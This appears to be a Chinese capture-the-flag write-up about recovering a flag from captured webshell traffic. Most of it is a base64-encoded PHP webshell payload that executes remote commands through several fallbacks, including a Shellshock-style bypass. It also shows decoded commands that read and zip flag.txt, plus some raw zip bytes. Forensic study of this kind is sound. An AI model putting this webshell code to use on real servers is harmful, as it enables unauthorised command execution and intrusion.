   string(3492) "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiNjI1ZmU4Ii4iNjliNDllIjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI2M2MxZGIiLiJmMWU4MTEiO31vYl9zdGFydCgpO3RyeXskcD1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbIm8xZmFlYmQ0ZWMzZDk3Il0sMikpOyRzPWJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsiZzQ3OWNmNmYwNThjZjgiXSwyKSk7JGVudnN0cj1AYmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJlNTdmYjljMDY3YzY3NyJdLDIpKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7aWYoc3Vic3RyKCRkLDAsMSk9PSIvIil7QHB1dGVudigiUEFUSD0iLmdldGVudigiUEFUSCIpLiI6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluIik7fWVsc2V7QHB1dGVudigiUEFUSD0iLmdldGVudigiUEFUSCIpLiI7QzovV2luZG93cy9zeXN0ZW0zMjtDOi9XaW5kb3dzL1N5c1dPVzY0O0M6L1dpbmRvd3M7QzovV2luZG93cy9TeXN0ZW0zMi9XaW5kb3dzUG93ZXJTaGVsbC92MS4wLzsiKTt9aWYoIWVtcHR5KCRlbnZzdHIpKXskZW52YXJyPWV4cGxvZGUoInx8fGFzbGluZXx8fCIsICRlbnZzdHIpO2ZvcmVhY2goJGVudmFyciBhcyAkdikge2lmICghZW1wdHkoJHYpKSB7QHB1dGVudihzdHJfcmVwbGFjZSgifHx8YXNrZXl8fHwiLCAiPSIsICR2KSk7fX19JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuc2hlbGxzaG9jaygkZCwgJGMpIHtpZiAoc3Vic3RyKCRkLCAwLCAxKSA9PSAiLyIgJiYgZmUoJ3B1dGVudicpICYmIChmZSgnZXJyb3JfbG9nJykgfHwgZmUoJ21haWwnKSkpIHtpZiAoc3Ryc3RyKHJlYWRsaW5rKCIvYmluL3NoIiksICJiYXNoIikgIT0gRkFMU0UpIHskdG1wID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICdhcycpO3B1dGVudigiUEhQX0xPTD0oKSB7IHg7IH07ICRjID4kdG1wIDI+JjEiKTtpZiAoZmUoJ2Vycm9yX2xvZycpKSB7ZXJyb3JfbG9nKCJhIiwgMSk7fSBlbHNlIHttYWlsKCJhQDEyNy4wLjAuMSIsICIiLCAiIiwgIi1idiIpO319IGVsc2Uge3JldHVybiBGYWxzZTt9JG91dHB1dCA9IEBmaWxlX2dldF9jb250ZW50cygkdG1wKTtAdW5saW5rKCR0bXApO2lmICgkb3V0cHV0ICE9ICIiKSB7cHJpbnQoJG91dHB1dCk7cmV0dXJuIFRydWU7fX1yZXR1cm4gRmFsc2U7fTtmdW5jdGlvbiBydW5jbWQoJGMpeyRyZXQ9MDskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYoZmUoJ3BvcGVuJykpeyRmcD1AcG9wZW4oJGMsJ3InKTt3aGlsZSghQGZlb2YoJGZwKSl7cHJpbnQoQGZnZXRzKCRmcCwyMDQ4KSk7fUBwY2xvc2UoJGZwKTt9ZWxzZWlmKGZlKCdwcm9jX29wZW4nKSl7JHAgPSBAcHJvY19vcGVuKCRjLCBhcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpLCAkaW8pO3doaWxlKCFAZmVvZigkaW9bMV0pKXtwcmludChAZmdldHMoJGlvWzFdLDIwNDgpKTt9d2hpbGUoIUBmZW9mKCRpb1syXSkpe3ByaW50KEBmZ2V0cygkaW9bMl0sMjA0OCkpO31AZmNsb3NlKCRpb1sxXSk7QGZjbG9zZSgkaW9bMl0pO0Bwcm9jX2Nsb3NlKCRwKTt9ZWxzZWlmKGZlKCdhbnRzeXN0ZW0nKSl7QGFudHN5c3RlbSgkYyk7fWVsc2VpZihydW5zaGVsbHNob2NrKCRkLCAkYykpIHtyZXR1cm4gJHJldDt9ZWxzZWlmKHN1YnN0cigkZCwwLDEpIT0iLyIgJiYgQGNsYXNzX2V4aXN0cygiQ09NIikpeyR3PW5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTskZT0kdy0+ZXhlYygkYyk7JHNvPSRlLT5TdGRPdXQoKTskcmV0Lj0kc28tPlJlYWRBbGwoKTskc2U9JGUtPlN0ZEVycigpOyRyZXQuPSRzZS0+UmVhZEFsbCgpO3ByaW50KCRyZXQpO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+Z2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs="
 }

看到这熟悉格式，直接把g479cf6f058cf8的前两个删去然后base64

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cd "/Users/chang/Sites/test";head -n 2 ../flag.txt;echo [S];pwd;echo [E]

就这么试，然后在第20个包里找到了

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cd "/Users/chang/Sites/test";zip -P PaSsZiPWorD flag.zip ../flag.txt;echo [S];pwd;echo [E]

flag被压缩了QWQ，还是有密码的

继续分析后面的流量，在最后一个包里看到了一个压缩包文件

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eb327956PK 	  稀匱 3讄X   T   
  ../flag.txtUT	 ?LbK6Lbux
 ?     
p=T狶鷯T?? y鰑胆帥b朘?突D腳{蠥t隋僌h?g<O<k<怱???Y塚槧旚輷崉 柙綾?T杒懲PK  3讄X   T   PK 	  稀匱 3讄X   T   
             ../flag.txtUT ?Lbux
 ?     PK      Q   ?    44e71eb66

掐头去尾，扔到winhex里面，然后用密码PaSsZiPWorD解压

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Yes,this is the flag file.
And the flag is:
DASCTF{f3f32f434eddbc6e6b5043373af95ae8}

其他题解

师傅们太厉害了 Orz

（完）